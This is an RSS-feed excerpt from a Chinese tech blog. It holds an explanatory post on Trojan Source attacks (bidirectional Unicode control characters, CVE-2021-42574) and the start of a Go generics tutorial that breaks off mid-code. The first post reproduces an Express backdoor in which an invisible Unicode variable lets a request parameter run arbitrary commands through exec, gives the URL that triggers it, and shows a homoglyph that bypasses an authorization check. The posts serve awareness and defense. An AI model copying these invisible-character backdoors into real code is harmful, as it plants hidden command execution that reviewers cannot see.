8859-6</a>和<a title=\"ISO/IEC 8859-8\" href=\"https://en.wikipedia.org/wiki/ISO/IEC_8859-8\">ISO/IEC 8859-8</a>等编码引入的，通常以书写和阅读顺序存储字母。可以简单地将从左到右的显示顺序翻转为从右到左的显示顺序，但这样做会牺牲正确显示从左到右脚本的能力。通过双向文本支持，可以在同一页面上混合来自不同脚本的字符，而不管书写方向如何。</p>\n<p><span id=\"more-21649\"></span></p>\n<p>双向文本支持是计算机系统正确显示双向文本的能力。对于Unicode来说，其标准为完整的 BiDi 支持提供了基础，其中包含有关如何编码和显示从左到右和从右到左脚本的混合的详细规则。你可以使用一些控制字符来帮助你完成双向文本的编排。</p>\n<p>好的，科普完“双向文本”后，我们正式进入正题，为什么Github 会出这个警告？Github的官方博客“<a href=\"https://github.blog/changelog/2021-10-31-warning-about-bidirectional-unicode-text/\" target=\"_blank\" rel=\"noopener\">关于双向Unicode的警告</a>”中说，使用一些Unicode中的用于控制的隐藏字符，可以让你代码有着跟看上去完全不一样的行为。</p>\n<p>我们先来看一个示例，下面这段 Go 的代码就会把 “Hello, World”的每个字符转成整型，然后计算其中多少个为 1 的 bit。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">package main\n\nimport \"fmt\"\n\nfunc main() {\n  str, mask := \"Hello, World!‮10x‭\", 0\n\n  bits := 0\n  for _, ch := range str {\n    for ch &gt; 0 {\n      bits += int(ch) &amp; mask\n      ch = ch &gt;&gt; 1\n    }\n  }\n  fmt.Println(\"Total bits set:\", bits)\n}</pre>\n<p>这个代码你看上去没有什么 奇怪的地方，但是你在执行的时候（可以直接上Go Playground上执行  &#8211;<a href=\"https://play.golang.org/p/e2BDZvFlet0\" target=\"_blank\" rel=\"noopener\"> https://play.golang.org/p/e2BDZvFlet0</a>），你会发现，结果是 0，也就是说“Hello, World”中没有值为 1 的 bit 位。这究竟发生了什么事？</p>\n<p>如果你把上面这段代码拷贝粘贴到字符界面上的 vim 编辑器里，你就可以看到下面这一幕。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-21653\" src=\"https://coolshell.cn/wp-content/uploads/2021/11/1637307319589.jpg\" alt=\"\" width=\"500\" height=\"324\" srcset=\"https://coolshell.cn/wp-content/uploads/2021/11/1637307319589.jpg 902w, https://coolshell.cn/wp-content/uploads/2021/11/1637307319589-300x194.jpg 300w, https://coolshell.cn/wp-content/uploads/2021/11/1637307319589-768x497.jpg 768w, https://coolshell.cn/wp-content/uploads/2021/11/1637307319589-417x270.jpg 417w\" sizes=\"(max-width: 500px) 100vw, 500px\" /></p>\n<p>其中有两个浅蓝色的尖括号的东西—— <code>&lt;202e&gt;</code> 和 <code>&lt;202d&gt;</code> 。这两个字符是两个Unicode的控制字符（注：完整的双向文本控制字符参看 <a href=\"https://www.compart.com/en/unicode/bidiclass\" target=\"_blank\" rel=\"noopener\">Unicode Bidirectional Classes</a>）：</p>\n<ul>\n<li><strong>U+202E &#8211; Right-to-Left Override [RLO] </strong><br />\n表示，开始从右到左显示，于是，接下来的文本 <code>10x\", 0</code> 变成了 <code>0 ,\"x01</code></li>\n<li><strong>U+202D &#8211; Left-to-Right Override [LRO]</strong><br />\n表示，开始从左到右显示，于是，<code>0,\"x01</code> 中的前4个字符<code>0 ,\"</code> 反转成  <code>\", 0</code>，于是整个文本成了 <code>\", 0x01</code></li>\n</ul>\n<p>所以，你在视觉上看到的是结果是—— <code>\"Hello, World!”, 0x01</code>， 但是实际上是完全是另外一码事。</p>\n<p>然后，Github官方博客中还给了一个安全问题 <a href=\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42574\">CVE-2021-42574</a> ——</p>\n<blockquote><p>在 Unicode 规范到 14.0 的双向算法中发现了一个问题。它允许通过控制序列对字符进行视觉重新排序，可用于制作源代码，呈现与编译器和解释器执行逻辑完全不同的逻辑。攻击者可以利用这一点对接受 Unicode 的编译器的源代码进行编码，从而将目标漏洞引入人类审查者不可见的地方。</p></blockquote>\n<p>这个安全问题在剑桥大学的这篇论文“<a href=\"https://www.trojansource.codes/\" target=\"_blank\" rel=\"noopener\">Some Vulnerabilities are Invisible</a>”中有详细的描述。其中PDF版的文章中也给了这么一个示例：</p>\n<p>通过双向文本可以把下面这段代码：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-21655\" src=\"https://coolshell.cn/wp-content/uploads/2021/11/1637308872541.jpg\" alt=\"\" width=\"569\" height=\"240\" srcset=\"https://coolshell.cn/wp-content/uploads/2021/11/1637308872541.jpg 692w, https://coolshell.cn/wp-content/uploads/2021/11/1637308872541-300x127.jpg 300w, https://coolshell.cn/wp-content/uploads/2021/11/1637308872541-604x255.jpg 604w\" sizes=\"(max-width: 569px) 100vw, 569px\" /></p>\n<p>伪装成下面的这个样子：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-21654\" src=\"https://coolshell.cn/wp-content/uploads/2021/11/1637308847435.jpg\" alt=\"\" width=\"580\" height=\"245\" srcset=\"https://coolshell.cn/wp-content/uploads/2021/11/1637308847435.jpg 692w, https://coolshell.cn/wp-content/uploads/2021/11/1637308847435-300x127.jpg 300w, https://coolshell.cn/wp-content/uploads/2021/11/1637308847435-604x255.jpg 604w\" sizes=\"(max-width: 580px) 100vw, 580px\" /></p>\n<p>在图 2 中<code>'alice'</code>被定义为价值 100，然后是一个从 Alice 中减去资金的函数。最后一行以 50 的值调用该函数，因此该小程序在执行时应该给我们 50 的结果。</p>\n<p>然而，图 1 向我们展示了如何使用双向字符来破坏程序的意图：通过插入<strong>RLI (Right To Left Isolate)</strong><i> &#8211; </i><strong>U+2067</strong><i>，</i>我们将文本方向从传统英语更改为从右到左。尽管我们使用了减去资金功能，但图 1 的输出变为 100。</p>\n<p>除此之外，支持Unicode还可以出现很多其它的攻击，尤其是通过一些“不可见字符”，或是通过“同形字符”在源代码里面埋坑。比如文章“<a href=\"https://certitude.consulting/blog/en/invisible-backdoor/\" target=\"_blank\" rel=\"noopener\">The Invisible Javascript Backdoor</a>”里的这个示例：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"js\">const express = require('express');\nconst util = require('util');\nconst exec = util.promisify(require('child_process').exec);\n\nconst app = express();\n\napp.get('/network_health', async (req, res) =&gt; {\n    const { timeout,ㅤ} = req.query;\n    const checkCommands = [\n        'ping -c 1 google.com',\n        'curl -s http://example.com/',ㅤ\n    ];\n\n    try {\n        await Promise.all(checkCommands.map(cmd =&gt; \n                cmd &amp;&amp; exec(cmd, { timeout: +timeout || 5_000 })));\n        res.status(200);\n        res.send('ok');\n    } catch(e) {\n        res.status(500);\n        res.send('failed');\n    }\n});\n\napp.listen(8080);</pre>\n<p>上面这个代码实现了一个非常简单的网络健康检查，HTTP会执行 <code>ping -c 1 google.com</code> 以及 <code>curl -s http://example.com</code> 这两个命令来查看网络是否正常。其中，可选输入 HTTP 参数<code>timeout</code>限制命令执行时间。</p>\n<p>然后，上面这个代码是有不可见的Unicode 字符，如果你使用VSCode，把编码从 Unicode 改成 DOS (CP437) 后你就可以看到这个Unicode了</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-large wp-image-21656\" src=\"https://coolshell.cn/wp-content/uploads/2021/11/1637310735683-1024x923.jpg\" alt=\"\" width=\"640\" height=\"577\" srcset=\"https://coolshell.cn/wp-content/uploads/2021/11/1637310735683-1024x923.jpg 1024w, https://coolshell.cn/wp-content/uploads/2021/11/1637310735683-300x270.jpg 300w, https://coolshell.cn/wp-content/uploads/2021/11/1637310735683-768x692.jpg 768w, https://coolshell.cn/wp-content/uploads/2021/11/1637310735683-299x270.jpg 299w, https://coolshell.cn/wp-content/uploads/2021/11/1637310735683.jpg 1118w\" sizes=\"(max-width: 640px) 100vw, 640px\" /></p>\n<p>于是，一个你看不见的 <code>πàñ</code> 变量就这样生成了，你再仔细看一下整个逻辑，这个看不见的变量，可以让你的代码执行他想要的命令。因为，http 的请求中有第二个参数，这个参数可奖在后面被执行。于是我们可以构造如下的的 HTTP 请求：</p>\n<p style=\"text-align: center;\"><strong>http://host:port/network_health?%E3%85%A4=&lt;any command&gt;</strong></p>\n<p>其中的，%E3%85%A4 就是 <code>\\u3164</code> 这个不可见Unicode 的编码，于是，一个后门代码就这样在神不知鬼不觉的情况下注入了。</p>\n<p>另外，还可以使用“同形字符”，看看下面这个示例：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">if(environmentǃ=ENV_PROD){\n    // bypass authZ checks in DEV\n    return true;\n}</pre>\n<p>如何你以为 <code>ǃ</code> 是 惊叹号，其实不是，它是一个Unicode <code>╟â</code>。这种东西就算你把你的源码转成 DOS(CP437) 也没用，因为用肉眼在一大堆正常的字符中找不正常的，我觉得是基本不可能的事。</p>\n<p>现在，是时候检查一下你的代码有没有上述的这些情况了……</p>\n<p>（全文完）</p>\n<p>&nbsp;</p>\n<p>&nbsp;<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/2439.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg\" alt=\"黑客的价值观\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2439.html\" class=\"wp_rp_title\">黑客的价值观</a></li><li ><a href=\"https://coolshell.cn/articles/1957.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg\" alt=\"Web程序的最佳测试数据\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1957.html\" class=\"wp_rp_title\">Web程序的最佳测试数据</a></li><li ><a href=\"https://coolshell.cn/articles/1331.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg\" alt=\"Unicode字符预览表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1331.html\" class=\"wp_rp_title\">Unicode字符预览表</a></li><li ><a href=\"https://coolshell.cn/articles/3778.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"敏捷水管工\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3778.html\" class=\"wp_rp_title\">敏捷水管工</a></li><li ><a href=\"https://coolshell.cn/articles/10910.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/01/trade-off-150x150.jpg\" alt=\"分布式系统的事务处理\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10910.html\" class=\"wp_rp_title\">分布式系统的事务处理</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/21649.html\">源代码特洛伊木马攻击</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/21649.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>23</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Go编程模式 ： 泛型编程</title>\n\t\t<link>https://coolshell.cn/articles/21615.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/21615.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 04 Sep 2021 05:44:02 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Go 语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[generics]]></category>\n\t\t<category><![CDATA[Go]]></category>\n\t\t<category><![CDATA[golang]]></category>\n\t\t<category><![CDATA[MapReduce]]></category>\n\t\t<category><![CDATA[泛型]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=21615</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Go语言的1.17版本发布了，其中开始正式支持泛型了。虽然还有一些限制（比如，不能把泛型函数export），但是，可以体验了。我的这个《Go编程模式》的系列终于...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/21615.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright wp-image-21627 \" src=\"https://coolshell.cn/wp-content/uploads/2021/09/go-generics-1024x512.png\" alt=\"\" width=\"406\" height=\"203\" srcset=\"https://coolshell.cn/wp-content/uploads/2021/09/go-generics-1024x512.png 1024w, https://coolshell.cn/wp-content/uploads/2021/09/go-generics-300x150.png 300w, https://coolshell.cn/wp-content/uploads/2021/09/go-generics-768x384.png 768w, https://coolshell.cn/wp-content/uploads/2021/09/go-generics-540x270.png 540w, https://coolshell.cn/wp-content/uploads/2021/09/go-generics.png 1200w\" sizes=\"(max-width: 406px) 100vw, 406px\" />Go语言的1.17版本发布了，其中开始正式支持泛型了。虽然还有一些限制（比如，不能把泛型函数export），但是，可以体验了。我的这个《Go编程模式》的系列终于有了真正的泛型编程了，再也不需要使用反射或是go generation这些难用的技术了。周末的时候，我把Go 1.17下载下来，然后，体验了一下泛型编程，还是很不错的。下面，就让我们来看一下Go的泛型编程。（注：不过，如果你对泛型编程的重要性还不是很了解的话，你可以先看一下之前的这篇文章《<a title=\"Go 编程模式：Go Generation\" href=\"https://coolshell.cn/articles/21179.html\" target=\"_blank\" rel=\"noopener\">Go编程模式：Go Generation</a>》，然后再读一下《<a title=\"Go编程模式：Map-Reduce\" href=\"https://coolshell.cn/articles/21164.html\" target=\"_blank\" rel=\"noopener\">Go编程模式：MapReduce</a>》）</p>\n<section class=\"post-series\"><h3 class=\"post-series-title\">本文是全系列中第10 / 10篇：<a href=\"https://coolshell.cn/articles/series/go%e7%bc%96%e7%a8%8b%e6%a8%a1%e5%bc%8f\">Go编程模式</a></h3><ul class=\"post-series-list\"><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21128.html\">Go编程模式：切片，接口，时间和性能</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21140.html\">Go 编程模式：错误处理</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21146.html\">Go 编程模式：Functional Options</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21214.html\">Go编程模式：委托和反转控制</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21179.html\">Go 编程模式：Go Generation</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/17929.html\">Go编程模式：修饰器</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21228.html\">Go编程模式：Pipeline</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a></span></li><li class=\"post-series-item-current post-series-item\"><span class=\"post-series-item-title\">Go编程模式 ： 泛型编程</span></li></ul><nav class=\"post-series-nav\"><span class=\"post-series-nav-prev\">&laquo; <a href=\"https://coolshell.cn/articles/21263.html\" rel=\"prev\" title=\"Go 编程模式：k8s Visitor 模式\">上一篇文章</a></span></nav></section>\n<h4>初探</h4>\n<p>我们先来看一个简单的示例：</p>\n<p><span id=\"more-21615\"></span></p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">package main\n\nimport \"fmt\"\n\nfunc print[T any] (arr []T) {\n  for _, v := range arr {\n    fmt.Print(v)\n    fmt.Print(\" \")\n  }\n  fmt.Println(\"\")\n}\n\nfunc main() {\n  strs := []string{\"Hello\", \"World\",  \"Generics\"}\n  decs := []float64{3.14, 1.14, 1.618, 2.718 }\n  nums := []int{2,4,6,8}\n\n  print(strs)\n  print(decs)\n  print(nums)\n}</pre>\n<p>上面这个例子中，有一个 <code>print()</code> 函数，这个函数就是想输出数组的值，如果没有泛型的话，这个函数需要写出 <code>int</code> 版，<code>float</code>版，<code>string</code> 版，以及我们的自定义类型（<code>struct</code>）的版本。现在好了，有了泛型的支持后，我们可以使用 <code>[T any]</code> 这样的方式来声明一个泛型类型（有点像C++的 <code>typename T</code>），然后面都使用 <code>T</code> 来声明变量就好。</p>\n<p>上面这个示例中，我们泛型的 <code>print()</code> 支持了三种类型的适配—— <code>int</code>型，<code>float64</code>型，和 <code>string</code>型。要让这段程序跑起来需要在编译行上加上 <code>-gcflags=-G=3</code>编译参数（这个编译参数会在1.18版上成为默认参数），如下所示：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">$ go run -gcflags=-G=3 ./main.go</pre>\n<p>有了个操作以后，我们就可以写一些标准的算法了，比如，一个查找的算法</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func find[T comparable] (arr []T, elem T) int {\n  for i, v := range arr {\n    if  v == elem {\n      return i\n    }\n  }\n  return -1\n}</pre>\n<p>我们注意到，我们没有使用 <code>[T any]</code>的形式，而是使用 <code>[T comparable]</code>的形式，<code>comparable</code>是一个接口类型，其约束了我们的类型需要支持 <code>==</code> 的操作， 不然就会有类型不对的编译错误。上面的这个 <code>find()</code> 函数同样可以使用于 <code>int</code>, <code>float64</code>或是<code>string</code>类型。</p>\n<p>从上面的这两个小程序来看，Go语言的泛型已基本可用了，只不过，还有三个问题：</p>\n<ul>\n<li>一个是 <code>fmt.Printf()</code>中的泛型类型是 <code>%v</code> 还不够好，不能像c++ <code>iostream</code>重载 <code>&gt;&gt;</code> 来获得程序自定义的输出。</li>\n<li>另外一个是，go不支持操作符重载，所以，你也很难在泛型算法中使用“泛型操作符”如：<code>==</code> 等</li>\n<li>最后一个是，上面的 <code>find()</code> 算法依赖于“数组”，对于hash-table、tree、graph、link等数据结构还要重写。也就是说，没有一个像C++ STL那样的一个泛型迭代器（这其中的一部分工作当然也需要通过重载操作符（如：<code>++</code> 来实现）</li>\n</ul>\n<p>不过，这个已经很好了，让我们来看一下，可以干哪些事了。</p>\n<h4>数据结构</h4>\n<h5>Stack 栈</h5>\n<p>编程支持泛型最大的优势就是可以实现类型无关的数据结构了。下面，我们用Slices这个结构体来实现一个Stack的数结构。</p>\n<p>首先，我们可以定义一个泛型的Stack</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">type stack [T any] []T</pre>\n<p>看上去很简单，还是 <code>[T any]</code> ，然后 <code>[]T</code> 就是一个数组，接下来就是实现这个数据结构的各种方法了。下面的代码实现了 <code>push()</code> ，<code>pop()</code>，<code>top()</code>，<code>len()</code>，<code>print()</code>这几个方法，这几个方法和 C++的STL中的 Stack很类似。（注：目前Go的泛型函数不支持 export，所以只能使用第一个字符是小写的函数名）</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func (s *stack[T]) push(elem T) {\n  *s = append(*s, elem)\n}\n\nfunc (s *stack[T]) pop() {\n  if len(*s) &gt; 0 {\n    *s = (*s)[:len(*s)-1]\n  } \n}\nfunc (s *stack[T]) top() *T{\n  if len(*s) &gt; 0 {\n    return &amp;(*s)[len(*s)-1]\n  } \n  return nil\n}\n\nfunc (s *stack[T]) len() int{\n  return len(*s)\n}\n\nfunc (s *stack[T]) print() {\n  for _, elem := range *s {\n    fmt.Print(elem)\n    fmt.Print(\" \")\n  }\n  fmt.Println(\"\")\n}</pre>\n<p>上面的这个例子还是比较简单的，不过在实现的过程中，对于一个如果栈为空，那么 <code>top()</code>要么返回<code>error</code>要么返回空值，在这个地方卡了一下。因为，之前，我们返回的“空”值，要么是 int 的<code>0</code>，要么是 string 的 <code>“”</code>，然而在泛型的<code>T</code>下，这个值就不容易搞了。也就是说，除了类型泛型后，还需要有一些“值的泛型”（注：在C++中，如果你要用一个空栈进行 <code>top()</code> 操作，你会得到一个 segmentation fault），所以，这里我们返回的是一个指针，这样可以判断一下指针是否为空。</p>\n<p>下面是如何使用这个stack的代码。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func main() {\n\n  ss := stack[string]{}\n  ss.push(\"Hello\")\n  ss.push(\"Hao\")\n  ss.push(\"Chen\")\n  ss.print()\n  fmt.Printf(\"stack top is - %v\\n\", *(ss.top()))\n  ss.pop()\n  ss.pop()\n  ss.print()\n\n  \n  ns := stack[int]{}\n  ns.push(10)\n  ns.push(20)\n  ns.print()\n  ns.pop()\n  ns.print()\n  *ns.top() += 1\n  ns.print()\n  ns.pop()\n  fmt.Printf(\"stack top is - %v\\n\", ns.top())\n\n}</pre>\n<p>&nbsp;</p>\n<h5>LinkList 双向链表</h5>\n<p>下面我们再来看一个双向链表的实现。下面这个实现中实现了 这几个方法：</p>\n<ul>\n<li><code>add()</code> &#8211; 从头插入一个数据结点</li>\n<li><code>push()</code> &#8211; 从尾插入一个数据结点</li>\n<li><code>del()</code> &#8211; 删除一个结点（因为需要比较，所以使用了 <code>compareable</code> 的泛型）</li>\n<li><code>print()</code> &#8211; 从头遍历一个链表，并输出值。</li>\n</ul>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">type node[T comparable] struct {\n  data T\n  prev *node[T]\n  next *node[T]\n}\n\ntype list[T comparable] struct {\n  head, tail *node[T]\n  len int\n}\n\nfunc (l *list[T]) isEmpty() bool {\n  return l.head == nil &amp;&amp; l.tail == nil\n}\n\nfunc (l *list[T]) add(data T) {\n  n := &amp;node[T] {\n    data : data,\n    prev : nil,\n    next : l.head,\n  }\n  if l.isEmpty() {\n    l.head = n\n    l.tail = n\n  }\n  l.head.prev = n\n  l.head = n\n}\n\nfunc (l *list[T]) push(data T) { \n  n := &amp;node[T] {\n    data : data,\n    prev : l.tail,\n    next : nil,\n  }\n  if l.isEmpty() {\n    l.head = n\n    l.tail = n\n  }\n  l.tail.next = n\n  l.tail = n\n}\n\nfunc (l *list[T]) del(data T) { \n  for p := l.head; p != nil; p = p.next {\n    if data == p.data {\n      \n      if p == l.head {\n        l.head = p.next\n      }\n      if p == l.tail {\n        l.tail = p.prev\n      }\n      if p.prev != nil {\n        p.prev.next = p.next\n      }\n      if p.next != nil {\n        p.next.prev = p.prev\n      }\n      return \n    }\n  } \n}\n\nfunc (l *list[T]) print() {\n  if l.isEmpty() {\n    fmt.Println(\"the link list is empty.\")\n    return \n  }\n  for p := l.head; p != nil; p = p.next {\n    fmt.Printf(\"[%v] -&gt; \", p.data)\n  }\n  fmt.Println(\"nil\")\n}</pre>\n<p>上面这个代码都是一些比较常规的链表操作，学过链表数据结构的同学应该都不陌生，使用的代码也不难，如下所示，都很简单，看代码就好了。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func main(){\n  var l = list[int]{}\n  l.add(1)\n  l.add(2)\n  l.push(3)\n  l.push(4)\n  l.add(5)\n  l.print() //[5] -&gt; [2] -&gt; [1] -&gt; [3] -&gt; [4] -&gt; nil\n  l.del(5)\n  l.del(1)\n  l.del(4)\n  l.print() //[2] -&gt; [3] -&gt; nil\n  \n}</pre>\n<h4>函数式范型</h4>\n<p>接下来，我们就要来看一下我们函数式编程的三大件 <code>map()</code> 、 <code>reduce()</code> 和 <code>filter()</code> 在之前的《<a title=\"Go编程模式：Map-Reduce\" href=\"https://coolshell.cn/articles/21164.html\" target=\"_blank\" rel=\"noopener\">Go编程模式：Map-Reduce</a>》文章中，我们可以看到要实现这样的泛型，需要用到反射，代码复杂到完全读不懂。下面来看一下真正的泛型版本。</p>\n<h5>泛型Map</h5>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func gMap[T1 any, T2 any] (arr []T1, f func(T1) T2) []T2 {\n  result := make([]T2, len(arr))\n  for i, elem := range arr {\n    result[i] = f(elem)\n  }\n  return result\n}</pre>\n<p>在上面的这个 map函数中我使用了两个类型 &#8211; <code>T1</code> 和 <code>T2</code> ，</p>\n<ul>\n<li><code>T1</code> &#8211; 是需要处理数据的类型</li>\n<li><code>T2</code> &#8211; 是处理后的数据类型</li>\n</ul>\n<p><code>T1</code> 和 <code>T2</code> 可以一样，也可以不一样。</p>\n<p>我们还有一个函数参数 &#8211;  <code>func(T1) T2</code> 意味着，进入的是 <code>T1</code> 类型的，出来的是 <code>T2</code> 类型的。</p>\n<p>然后，整个函数返回的是一个 <code>[]T2</code></p>\n<p>好的，我们来看一下怎么使用这个map函数：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">nums := []int {0,1,2,3,4,5,6,7,8,9}\nsquares := gMap(nums, func (elem int) int {\n  return elem * elem\n})\nprint(squares)  //0 1 4 9 16 25 36 49 64 81 \n\nstrs := []string{\"Hao\", \"Chen\", \"MegaEase\"}\nupstrs := gMap(strs, func(s string) string  {\n  return strings.ToUpper(s)\n})\nprint(upstrs) // HAO CHEN MEGAEASE \n\n\ndict := []string{\"零\", \"壹\", \"贰\", \"叁\", \"肆\", \"伍\", \"陆\", \"柒\", \"捌\", \"玖\"}\nstrs =  gMap(nums, func (elem int) string  {\n  return  dict[elem]\n})\nprint(strs) // 零 壹 贰 叁 肆 伍 陆 柒 捌 玖</pre>\n<h5>泛型 Reduce</h5>\n<p>接下来，我们再来看一下我们的Reduce函数，reduce函数是把一堆数据合成一个。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func gReduce[T1 any, T2 any] (arr []T1, init T2, f func(T2, T1) T2) T2 {\n  result := init\n  for _, elem := range arr {\n    result = f(result, elem)\n  }\n  return result\n}</pre>\n<p>函数实现起来很简单，但是感觉不是很优雅。</p>\n<ul>\n<li>也是有两个类型 <code>T1</code> 和 <code>T2</code>，前者是输出数据的类型，后者是佃出数据的类型。</li>\n<li>因为要合成一个数据，所以需要有这个数据的初始值 <code>init</code>，是 <code>T2</code> 类型</li>\n<li>而自定义函数 <code>func(T2, T1) T2</code>，会把这个init值传给用户，然后用户处理完后再返回出来。</li>\n</ul>\n<p>下面是一个使用上的示例——求一个数组的和</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">nums := []int {0,1,2,3,4,5,6,7,8,9}\nsum := gReduce(nums, 0, func (result, elem int) int  {\n    return result + elem\n})\nfmt.Printf(\"Sum = %d \\n\", sum)</pre>\n<h5>泛型 filter</h5>\n<p>filter函数主要是用来做过滤的，把数据中一些符合条件（filter in）或是不符合条件（filter out）的数据过滤出来，下面是相关的代码示例</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func gFilter[T any] (arr []T, in bool, f func(T) bool) []T {\n  result := []T{}\n  for _, elem := range arr {\n    choose := f(elem)\n    if (in &amp;&amp; choose) || (!in &amp;&amp; !choose) {\n      result = append(result, elem)\n    }\n  }\n  return result\n}\n\nfunc gFilterIn[T any] (arr []T, f func(T) bool) []T {\n  return gFilter(arr, true, f)\n}\n\nfunc gFilterOut[T any] (arr []T, f func(T) bool) []T {\n  return gFilter(arr, false, f)\n}</pre>\n<p>其中，用户需要提从一个 <code>bool</code> 的函数，我们会把数据传给用户，然后用户只需要告诉我行还是不行，于是我们就会返回一个过滤好的数组给用户。</p>\n<p>比如，我们想把数组中所有的奇数过滤出来</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">nums := []int {0,1,2,3,4,5,6,7,8,9}\nodds := gFilterIn(nums, func (elem int) bool  {\n    return elem % 2 == 1\n})\nprint(odds)</pre>\n<h4>业务示例</h4>\n<p>正如《<a title=\"Go编程模式：Map-Reduce\" href=\"https://coolshell.cn/articles/21164.html\" target=\"_blank\" rel=\"noopener\">Go编程模式：Map-Reduce</a>》中的那个业务示例，我们在这里再做一遍。</p>\n<p>首先，我们先声明一个员工对象和相关的数据</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">type Employee 